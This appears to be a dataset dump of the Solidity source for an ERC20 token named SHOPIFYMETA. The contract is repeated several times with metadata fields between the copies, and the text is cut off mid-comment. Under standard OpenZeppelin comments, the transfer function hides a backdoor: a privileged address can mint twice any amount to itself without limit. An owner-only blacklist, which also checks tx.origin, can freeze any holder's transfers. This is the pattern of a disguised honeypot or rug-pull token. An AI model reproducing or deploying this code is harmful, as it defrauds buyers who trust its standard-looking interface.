allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 4031, 4456 ] }
1,469
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
BlacklistUser
function BlacklistUser (address listed) checker external { blacklist[listed]=true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 4860, 4966 ] }
1,470
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 5796, 6178 ] }
1,471
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); }
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 6663, 7298 ] }
1,472
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, 